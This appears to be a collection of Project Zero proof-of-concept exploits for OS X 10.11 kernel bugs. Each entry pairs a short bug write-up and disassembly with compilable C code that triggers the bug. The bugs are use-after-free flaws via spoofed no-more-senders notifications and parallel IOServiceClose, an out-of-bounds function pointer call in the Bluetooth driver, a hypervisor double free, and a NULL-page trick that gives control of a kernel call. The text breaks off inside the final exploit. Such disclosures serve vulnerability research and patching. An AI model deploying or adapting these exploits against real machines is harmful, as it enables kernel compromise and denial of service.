Source: https://code.google.com/p/google-security-research/issues/detail?id=566

Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_7 iospoof_ig_7.c -framework IOKit
/*
Kernel UaF with IOAccelMemoryInfoUserClient with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_7; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 7;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=567

Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/


// ianbeer

/*
Kernel UaF due to audit session port failing to correctly account for spoofed no-more-senders notifications
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <bsm/audit.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  mach_port_t conn = audit_session_self();
  if (conn == MACH_PORT_NULL) {
    printf("can't get audit session port\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300

/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done

Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp

/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IOBluetoothHCIController";
  int client_type = 1;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=580

The hv_space lock group gets an extra ref dropped when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/

//ianbeer

// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -zp -zc

/*
OS X Kernel UaF in hypervisor driver

The hv_space lock group gets an extra ref dropped (uaf) when you kill a process with an AppleHV userclient;
one via IOService::terminateWorker calling the AppleHVClient::free method (which calls lck_rw_free on the 
lock group using the pointer hanging off the global _hv variable) and secondly via the hypervisor
machine_thread_destroy callback (hv_callback_thread_destroy) which also calls lck_rw_free with a lock group
pointer taken from _hv.

tested on OS X 10.11 ElCapitan (15a284) on MacBookAir 5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>

int go() {
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleHV"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  while(1) {
    io_connect_t conn;
    IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (conn == MACH_PORT_NULL) {
      printf("can't connect to service\n");
      return 0;
    }

    uint64_t inputScalar[16];
    size_t inputScalarCnt = 0;

    uint8_t inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16] = {0};
    uint32_t outputScalarCnt = 16;

    char outputStruct[4096] = {0};
    size_t outputStructCnt = 4096;

    kern_return_t err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);

    IOServiceClose(conn);
  }
}


int main(int argc, char** argv) {
  pid_t child = fork();
  if (child == 0) {
    go();
  } else {
    sleep(1);
    kill(child, 9);
    int sl;
    wait(&sl);
  }
  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=595

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure

clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);


  uint64_t* obj_ptr = malloc(0x1000);
  uint64_t* obj = malloc(0x1000);
  uint64_t* vtable = malloc(0x1000);
  uint64_t kernel_rip = 0xffff800041414141;

  vtable[0x70/8] = kernel_rip;
  *obj = (uint64_t)vtable;

  *obj_ptr = (uint64_t)obj;

  *((uint64_t*)0x28) = (uint64_t)obj_ptr;

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x206,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=596

The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)

__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog


here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.

The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.

However, we can do more:

r15 is passed to IntelAccelerator::gstqConfigure:

mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec

where we reach the following code:

__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy

here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.

Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.

clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit

repro: while true; ./ig_gl_gst_oob_read; done

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)

The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)

__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog


here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.

The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.

However, we can do more:

r15 is passed to IntelAccelerator::gstqConfigure:

mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec

where we reach the following code:

__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy

here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.

Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.

clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit

repro: while true; ./ig_gl_gst_oob_read; done

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x30;

  err = IOConnectCallMethod(
   conn,
   0x205,                 //gst_operation
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   printf("that was an error in the first call, don't care!\n");
  }
  

  
  inputStructCnt = 0x1;

  err = IOConnectCallMethod(
   conn,
   0x206,                 //gst_configure
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=597

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/

// ianbeer

// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
/*
io_service_close leads to potentially dangerous IOKit methods being called without locks

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
  IOServiceClose(conn);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  io_connect_t arg = conn;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  close_it(conn);

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=598

The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:

    kern_return_t is_io_registry_iterator_exit_entry(
                                                     io_object_t iterator )
    {
        bool  didIt;
        
        CHECK( IORegistryIterator, iterator, iter );
        
        didIt = iter->exitEntry();
        
        return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
    }

exitExtry is defined as follows:

bool IORegistryIterator::exitEntry( void )
{
    IORegCursor * gone;
    
    if( where->iter) {
        where->iter->release();
        where->iter = 0;
        if( where->current)// && (where != &start))
            where->current->release();
    }
    
    if( where != &start) {
        gone = where;
        where = gone->next;
        IOFree( gone, sizeof(IORegCursor));
        return( true);
        
    } else
        return( false);
}

There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.

These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro

repro: while true; do ./ioparallel_regiter; done

*/

// ianbeer

// clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit
/*
OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation

The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:

    kern_return_t is_io_registry_iterator_exit_entry(
                                                     io_object_t iterator )
    {
        bool  didIt;
        
        CHECK( IORegistryIterator, iterator, iter );
        
        didIt = iter->exitEntry();
        
        return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
    }

exitExtry is defined as follows:

bool IORegistryIterator::exitEntry( void )
{
    IORegCursor * gone;
    
    if( where->iter) {
        where->iter->release();
        where->iter = 0;
        if( where->current)// && (where != &start))
            where->current->release();
    }
    
    if( where != &start) {
        gone = where;
        where = gone->next;
        IOFree( gone, sizeof(IORegCursor));
        return( true);
        
    } else
        return( false);
}

There are multiple concurrency hazards here; for example a double free of where if two threads
enter at the same time.

These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
on OS X and iOS.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro

repro: while true; do ./ioparallel_regiter; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

int start = 0;

void exit_it(io_iterator_t iter) {
  IORegistryIteratorExitEntry(iter);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  exit_it(*(io_iterator_t*)arg);
}

int main(int argc, char** argv) {
  kern_return_t err;
  io_iterator_t iter;

  err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);
  if (err != KERN_SUCCESS) {
    printf("can't create reg iterator\n");
    return 0;
  }

  IORegistryIteratorEnterEntry(iter);

  pthread_t t;
  io_connect_t arg = iter;
